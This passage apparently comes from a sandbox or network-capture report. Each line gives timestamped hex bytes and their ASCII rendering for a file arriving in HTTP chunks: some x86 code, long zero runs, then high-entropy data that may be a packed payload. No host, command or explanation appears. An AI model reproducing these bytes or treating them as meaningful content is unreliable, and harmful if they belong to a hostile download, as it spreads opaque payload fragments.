2023-07-27 16:27:23 UTC	403	IN	Data Raw: 32 30 30 30 0d 0a 0f 84 90 00 00 00 6a 08 e8 fd 01 00 00 8b 45 10 59 b9 00 0c 00 00 23 c1 74 54 3d 00 04 00 00 74 37 3d 00 08 00 00 74 1a 3b c1 75 62 d9 ee 8b 4d 0c dc 19 df e0 dd 05 28 c5 43 00 f6 c4 05 7b 4c eb 48 d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7b 2c dd 05 28 c5 43 00 eb 32 d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7a 1e dd 05 28 c5 43 00 eb 1e d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7a 08 dd 05 18 c5 43 00 eb 08 dd 05 18 c5 43 00 d9 e0 dd 19 83 e6 fe e9 d6 00 00 00 a8 02 0f 84 ce 00 00 00 f6 45 10 10 0f 84 c4 00 00 00 33 f6 a8 10 74 02 8b f3 57 8b 7d 0c dd 07 d9 ee da e9 df e0 f6 c4 44 0f 8b 91 00 00 00 dd 07 8d 45 f8 50 51 51 dd 1c 24 e8 10 04 00 00 8b 4d f8 dd 5d ec 81 c1 00 fa ff ff 83 c4 0c 81 f9 ce fb ff ff 7d 0d dd 45 ec 8b f3 dc 0d 20 34 40 00 eb 53 Data Ascii: 2000jEY#tT=t7=t;ubM(C{LHM{,(C2Mz(CMzCCE3tW}DEPQQ$M]}E 4@S
2023-07-27 16:27:23 UTC	411	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	411	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	411	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:23 UTC	419	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	419	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	419	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:23 UTC	427	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	427	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	427	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:23 UTC	435	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	435	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	435	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:23 UTC	443	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	443	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	443	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:23 UTC	451	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	451	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	451	IN	Data Raw: 31 66 66 38 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1ff8
2023-07-27 16:27:23 UTC	459	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:23 UTC	459	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	467	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	467	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:23 UTC	475	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	475	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	475	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:23 UTC	483	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:23 UTC	483	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	483	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:23 UTC	491	IN	Data Raw: 43 00 44 d1 43 00 Data Ascii: CDC
2023-07-27 16:27:23 UTC	491	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	491	IN	Data Raw: 32 30 30 30 0d 0a 7f 7f 7f 7f 7f 7f 7f 7f c4 97 42 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 c8 97 42 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000BHCHCHCHCHCHCHCB
2023-07-27 16:27:23 UTC	499	IN	Data Raw: c1 33 42 a6 9b 35 Data Ascii: 3B5
2023-07-27 16:27:23 UTC	499	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	499	IN	Data Raw: 32 30 30 30 0d 0a 5e 59 85 a1 fe d5 ab b8 96 b1 59 a4 c3 a9 6a 6f 77 c6 5c e4 f6 e8 91 73 6f 2c bc 97 c5 f7 11 a7 03 93 57 42 0b 83 ad 6d 4d fb b4 03 f0 aa 76 34 89 bd ed a3 e9 89 68 94 38 5b 66 6c 5e 6d e3 92 f0 c7 f2 f5 1e 0e 4d 30 68 17 71 46 69 d7 b0 4c dc ae 93 86 d9 e3 f7 b9 a8 8a 59 12 2d e7 51 2c ec 2d 4b 78 3c d9 28 04 73 09 31 3d 1c 76 bf 87 d6 cd 6b 3b 02 2a 1f 96 c1 78 c5 c9 33 e9 54 67 5f 79 27 b1 1e da dd cf e5 d8 46 be 44 f9 a4 b5 12 11 48 91 c4 eb c5 2a f4 37 07 31 c7 cc 52 96 fc 56 f8 0c 5b bd 73 f1 ee 76 23 8b c1 c2 f1 aa 8e e0 9c 9e 58 67 1d c6 f5 ab 9e aa d9 b0 8d b8 f9 80 6d a0 36 d5 43 c9 70 cf e0 72 79 80 ed 65 59 05 ea 52 bc 21 4d 13 3d d4 93 6b 54 8f a1 f3 82 10 4b b3 3c bc c9 12 a4 f1 ac 92 c7 5a 4a 15 ee a7 23 7a 5a 80 7e 12 8c Data Ascii: 2000^YYjow\so,WBmMv4h8[fl^mM0hqFiLY-Q,-Kx<(s1=vk;x3Tg_y'FDH71RV[sv#Xgm6CpryeYR!M=kTK<ZJ#zZ~
2023-07-27 16:27:23 UTC	507	IN	Data Raw: d3 1a cc 3b 21 95 Data Ascii: ;!
2023-07-27 16:27:23 UTC	507	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	507	IN	Data Raw: 32 30 30 30 0d 0a 54 a6 64 dd e7 35 ae 7b ac 41 b9 66 f7 4f a6 10 fd 68 0d 5f a1 c4 77 bd d7 30 ab 3f 5f 34 58 ee 37 4e 5e 6c 98 62 60 f7 7f 8d 3e a7 f3 f3 a9 b4 95 2f a7 c9 2f de 88 fd 2a e0 2a 39 e3 56 2f 04 c1 27 97 d6 7f ed a9 f1 cf 39 8c de a6 da 92 61 65 cb 66 46 c1 da 32 64 f9 41 d3 09 d0 16 c8 b2 43 d9 41 84 fa 69 fd 25 5b f8 e8 6f 6d c4 1f f1 58 49 c4 16 2d 6c f4 46 55 56 e9 93 77 73 88 a2 45 77 72 ed b6 69 bd 8c 04 85 72 5c 73 40 cc 94 5e d3 59 1b 04 72 d8 eb ab 0b 36 5c 0d 98 78 bc 12 cb 09 30 e2 67 90 91 40 6e f6 16 95 a9 78 46 09 c9 f6 43 53 7b 0e 02 06 1f 88 e4 d0 b2 db e6 1c 30 00 81 6f b0 87 a9 2f 15 83 c5 6c 65 13 6e 3b fa 5f f7 a6 3d 40 03 8d 9d a8 9f 74 89 c5 a9 70 f1 f4 7b 4b 79 3c 81 20 cb c1 18 95 98 38 67 77 89 54 8c d0 5e f4 eb a2 Data Ascii: 2000Td5{AfOh_w0?_4X7N^lb`>//**9V/'9aefF2dACAi%[omXI-lFUVwsEwrir\s@^Yr6\x0g@nxFCS{0o/len;_=@tp{Ky< 8gwT^
2023-07-27 16:27:23 UTC	515	IN	Data Raw: 94 48 af 97 26 14 Data Ascii: H&
2023-07-27 16:27:23 UTC	515	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	515	IN	Data Raw: 31 66 66 38 0d 0a 7d 75 f5 74 f9 d3 9d c7 e1 c2 75 6e 04 c0 6e 3d 07 9e c8 c6 98 1b 46 4c 69 dc fb 03 cc bd 58 c1 1e d4 b9 ca d5 44 4e c0 76 22 01 03 54 8c e5 b2 c3 62 b1 db 5f 63 5b 55 b8 c1 65 f2 d8 ec de d3 e0 95 90 16 4d ec d9 f9 1a e1 76 dc a9 e9 3f ef 1b 28 80 56 29 ff 4f 18 df 25 c2 6f ac c3 c3 6e 8d 25 6e ec 36 3c 84 b9 aa 54 44 e8 0b 92 78 82 4c 0d 2e 94 04 ec cf dd 30 55 c7 86 2f 73 2b 96 59 92 c4 70 17 3e 16 31 e0 fe 31 c8 1d f1 8d ee e7 07 db eb f2 c6 28 cc 98 d1 0c 33 97 b7 bf b2 a4 93 a5 87 3a 81 38 41 4a d5 de 90 48 5d 40 ea 4c 01 81 74 25 fb 57 fa 05 23 21 36 de e7 1a 54 51 fa f6 a2 1c 09 ee 21 38 32 72 f1 1d a8 56 64 69 52 7e fe ec 8b af f4 cb 0b 40 bd 15 47 4e eb b3 44 69 5c 5e ac 6f 7f 4d 49 54 fc 1e a7 00 59 c9 5d ff bd f7 59 0f 6c 56 Data Ascii: 1ff8}utunn=FLiXDNv"Tb_c[UeMv?(V)O%on%n6<TDxL.0U/s+Yp>11(3:8AJH]@Lt%W#!6TQ!82rVdiR~@GNDi\^oMITY]YlV
2023-07-27 16:27:23 UTC	523	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:23 UTC	523	IN	Data Raw: 69 94 db 0e 8a ec 32 44 c2 9a e0 00 53 eb 00 48 fc 80 3a b3 8b 27 b8 d6 81 d7 b5 9a e6 98 d1 8b df e7 57 63 36 b9 a8 7d 71 83 15 0d c4 2c 41 34 7c 0c 70 54 31 18 3f 74 b4 6c a1 09 46 7c e6 24 a9 2f 1e 18 76 ce b1 7c 15 d5 90 c5 dd bd 38 da 8c 99 ec 85 ab f3 40 23 22 77 f0 60 7e f6 5c de b9 a5 46 98 88 a7 34 fb ec ea 32 ff 50 bf 45 c9 8e ec 19 4c d8 0f 37 5d c6 bc 3e 4a 66 24 aa f4 a7 aa dd 13 4c bb a5 5b ab 5f a5 70 bc b6 20 ca d3 8a aa af 59 85 61 a8 ab 7b 04 b3 8e f5 43 97 d2 d7 ca b0 29 90 a0 0d 21 4a 66 73 6b ab 68 48 75 94 03 5e 24 19 e3 ae 64 e8 80 40 24 31 8e c4 33 2b fa b0 38 9b 12 73 5b 96 b2 3b df 48 df 93 03 e2 f7 2c c2 6f f3 d3 77 25 ea ae cf 96 13 92 79 62 9a 80 58 4a e0 d4 af be ad 5f d1 4f 95 3d e3 a1 4d da 00 d4 69 1c ee ab 07 86 44 63 2e Data Ascii: i2DSH:'Wc6}q,A4\|pT1?tlF\|$/v\|8@#"w`~\F42PEL7]>Jf$L[_p Ya{C)!JfskhHu^$d@$13+8s[;H,ow%ybXJ_O=MiDc.
2023-07-27 16:27:23 UTC	531	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	531	IN	Data Raw: 32 30 30 30 0d 0a 45 a5 c5 cf 98 69 2f a0 ed d1 bc 86 0a 3e ff c9 0f 25 57 4b b5 02 86 15 ab a1 52 10 da e6 76 c1 2a e4 ab 13 f3 9a 6d 24 a7 61 49 52 76 18 c8 3b 9b 85 39 58 6a 48 27 0c f6 1d 0a b8 4c bb f8 09 bc 47 0b d5 fe 20 b7 2e 08 ea 64 49 42 6b 18 b0 b2 a1 34 0b 3a ad b1 13 58 e2 fe 12 01 28 fb b0 82 57 18 d3 a3 d7 0c c0 68 e1 ce ee 16 81 86 21 04 65 67 60 41 20 c4 62 ed 44 0c c0 ca 5b a3 4c 64 54 a4 ac 51 c2 a6 f2 fe 7e 23 50 e8 55 5c 0b 66 9b d1 c8 73 02 37 92 f6 dd 95 09 8b 7b fc 06 13 45 1c f6 65 17 77 69 13 18 70 db c8 bd 76 51 2b bc 5d 2d 3d 5f 6c 3f 39 e8 80 fc 78 c1 6f 0c 32 43 7c 80 aa 85 31 33 c7 da 67 f0 47 1d 94 c6 67 57 07 51 6b 6c 61 98 42 90 0e 31 37 1b 56 42 69 f5 73 eb dd 3c 36 ae fc 68 e2 15 fa ee bc d5 d5 7f 77 ce 11 a5 38 7c 4c Data Ascii: 2000Ei/>%WKRv*m$aIRv;9XjH'LG .dIBk4:X(Wh!eg`A bD[LdTQ~#PU\fs7{EewipvQ+]-=_l?9xo2C\|13gGgWQklaB17VBis<6hw8\|L
2023-07-27 16:27:23 UTC	539	IN	Data Raw: 8e 85 e3 66 ee 05 Data Ascii: f
2023-07-27 16:27:23 UTC	539	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	539	IN	Data Raw: 32 30 30 30 0d 0a 90 54 a7 26 2f 1e 44 d7 71 fa b7 bc fa e5 7d 86 fe 2e 19 92 09 e1 61 94 61 85 29 ef 7b 67 11 61 ed 58 d6 ae 8b 49 7c 86 f8 4d be 68 82 19 9f 3d 92 93 cc 6c 99 00 5d 5a 5c 3a 3e 1f 8d 28 23 d8 6e 21 6b b6 0a ed ee 4d 5b 2a 45 0d f2 e4 37 85 e4 3a 7d 7e 40 3e 1a 4b 6c f4 e1 3e e8 57 89 b3 47 7a 43 77 14 aa 68 17 84 71 06 79 55 e1 be 7a 54 9e 25 da ca 72 22 04 d0 74 28 50 f6 45 ca ce 23 22 ec f8 d8 94 06 83 28 0b 43 5d d8 14 ff 3c 19 13 a3 b0 51 b1 86 d1 fe 92 eb 60 80 a7 e7 df b9 60 31 36 6a 43 14 93 5b ed 17 c7 18 67 81 a2 7b 0c b8 d6 21 f9 66 17 a3 57 7b 30 6e 7b 53 f0 ff 75 5d ba 39 dc 3f 62 e0 00 0d 09 0c 62 b9 b1 30 61 63 3c 9e 76 74 91 57 8e 5a 04 cf a1 0d c1 ed 26 51 10 9e 78 32 d6 7e d3 8e 4e cb 1e a8 22 3e e7 bd 56 15 fe a4 6e 07 Data Ascii: 2000T&/Dq}.aa){gaXI\|Mh=l]Z\:>(#n!kM[*E7:}~@>Kl>WGzCwhqyUzT%r"t(PE#"(C]<Q``16jC[g{!fW{0n{Su]9?bb0ac<vtWZ&Qx2~N">Vn
2023-07-27 16:27:23 UTC	547	IN	Data Raw: 82 6f 8c 3b ec a7 Data Ascii: o;
2023-07-27 16:27:23 UTC	547	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	547	IN	Data Raw: 32 30 30 30 0d 0a 5e 1d 14 ab 76 9e f2 55 d2 bb 76 b1 b0 d4 c0 0f ef cb 17 09 07 66 18 2b 1b a3 de 76 8b 9a 33 df 64 62 fb 87 77 78 8d d5 65 3e f0 3d 16 c8 5f f8 c2 6e c9 94 ef 8b 8c da 83 fc 10 54 93 57 f0 ff fe fd 2e 18 41 1e 6a 08 67 16 4a 2e 06 de e7 22 88 4f cc 4b 46 fb 9a 9a a3 64 07 1f e2 f1 5e bf 61 0c b1 47 4b 52 f1 e2 05 b5 5d e3 83 91 f9 07 4b 08 7d 5a 07 3d 70 4b df 31 d9 20 8e 16 98 08 0a 16 98 ce eb a9 ef cf 64 ee 39 6e 22 b4 9c 54 03 9f ac 6b a0 f0 2f 01 d9 1b 5a 1f e8 9c af 74 7a e0 5d c8 ac 5a 0e 58 23 90 b5 4c 46 62 56 5e 73 8a bd 9a 94 91 08 7b b4 d5 aa 6e 01 83 90 0a 7e 95 01 32 04 82 73 71 5f 0b 08 92 98 e2 0c 67 1d fd e2 d5 de ec ad 83 9c 5f cf c0 18 84 1f 86 b5 9f 51 45 9c 95 16 d0 90 d4 66 ea 8a 5c 8e d9 4c d5 26 c5 92 2f 3c 2d c5 Data Ascii: 2000^vUvf+v3dbwxe>=_nTW.AjgJ."OKFd^aGKR]K}Z=pK1 d9n"Tk/Ztz]ZX#LFbV^s{n~2sq_g_QEf\L&/<-
2023-07-27 16:27:23 UTC	555	IN	Data Raw: d3 c8 f2 32 42 57 Data Ascii: 2BW
2023-07-27 16:27:23 UTC	555	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	555	IN	Data Raw: 65 63 30 0d 0a 35 f0 92 21 ba 06 95 87 e4 ec 49 ac e1 56 64 91 48 27 1b eb 58 b9 dd 8e d1 6b 0a 33 5d dd 2f 20 a4 ec b2 e9 af ba 60 94 f0 08 5c 9f 27 31 c0 c3 ad 47 9b a8 cf e9 82 7d 81 44 01 48 92 7c e4 e1 86 db bc cb ce 93 d9 ad a7 b7 e1 5a 33 74 0b 0e 60 af dd 8f 05 18 6a 46 d8 89 63 96 9a 1f 71 bb e9 a9 e0 b3 28 3b 90 0f eb 75 e9 f2 61 99 5d f7 c2 84 e7 b7 78 58 50 ea 29 8b 87 d9 2b 8d 91 7d fc 8c 3e d2 8a 72 5a 92 0c a7 80 d9 c0 9e eb 4c 86 68 16 02 96 82 08 3a 0b 1d 4b c5 e5 3c ef 6b d7 31 1c 03 55 03 95 26 61 7f b4 8a 6e a3 c9 f3 78 64 6a 5d cc ef f3 7e 0c 07 8f b1 17 ed 33 78 d7 49 94 2e 21 c2 62 14 1b e2 22 fb d4 2e a3 84 8d 05 a0 db bd dd 29 dd 2b 93 02 54 92 8d d0 96 9c 27 06 8f 74 e8 8d a1 f4 dc 1e 38 b8 61 78 c8 fb c8 a3 2a 88 2a 44 ed 70 00 Data Ascii: ec05!IVdH'Xk3]/ `\'1G}DH\|Z3t`jFcq(;ua]xXP)+}>rZLh:K<k1U&anxdj]~3xI.!b".)+T't8ax**Dp
2023-07-27 16:27:23 UTC	563	IN	Data Raw: 2b 52 bc 3c 26 6b e3 5d 6d 5b 19 82 d3 11 c6 20 49 c1 17 50 66 83 81 e3 bc 65 bd 86 9e c3 a1 fa 1e 1c 00 3c f6 4a 95 bb f0 db 83 af ec cf 29 a6 31 fb 09 b4 04 8a b4 75 92 7c 9b f4 b6 04 50 0a 49 79 92 6c 6d 71 43 10 c8 ec 19 9d 83 a1 07 92 2c 7f 81 92 96 b1 a3 6e 83 97 ab ac 15 2b d7 1d 5a 3e 35 89 92 1a b9 80 46 d4 40 46 2c f4 8f 10 00 e8 04 ac 32 0a 48 12 42 4c 30 5e 3b 97 72 c8 dc e7 63 d2 b4 74 ae 22 68 f1 5d 73 f6 6b e4 9a 99 de d8 e7 db 6b a9 2d d1 85 5c d8 be 0f 2c d7 d0 22 aa 25 09 cc 54 13 a2 4a 58 5b 36 ec 1b 94 66 27 16 34 06 dd b7 84 d1 17 3c 9b 42 9a c6 69 ea a5 16 37 e8 b3 74 47 39 f9 1a 79 80 4e 86 13 c4 b5 04 45 a6 0a b2 07 e9 a7 29 d0 d9 4c 03 